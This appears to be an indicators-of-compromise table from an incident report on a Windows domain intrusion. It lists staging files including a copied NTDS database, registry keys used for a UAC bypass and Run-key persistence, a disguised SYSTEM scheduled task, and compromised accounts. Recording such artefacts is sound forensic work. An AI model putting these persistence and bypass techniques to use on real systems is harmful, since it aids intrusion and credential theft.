Staging files	`C:\Users\Public\20260203185934_recon.zip`, `C:\Windows\Temp\ntds`	BACKOFFICE-PC1; ADDC01
Registry	`HKCU\Software\Classes\ms-settings\shell\open\command`; `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth`	BACKOFFICE-PC1 (E2); HL-FS01
Scheduled task	`WindowsUpdate` to `C:\Users\Public\taskhostw.exe` (onstart, SYSTEM)	HL-FS01
Accounts	`Emily.Grant` (password known to the attacker); `svc_sql` (SID ending -2105, Domain Admins)	E4, E6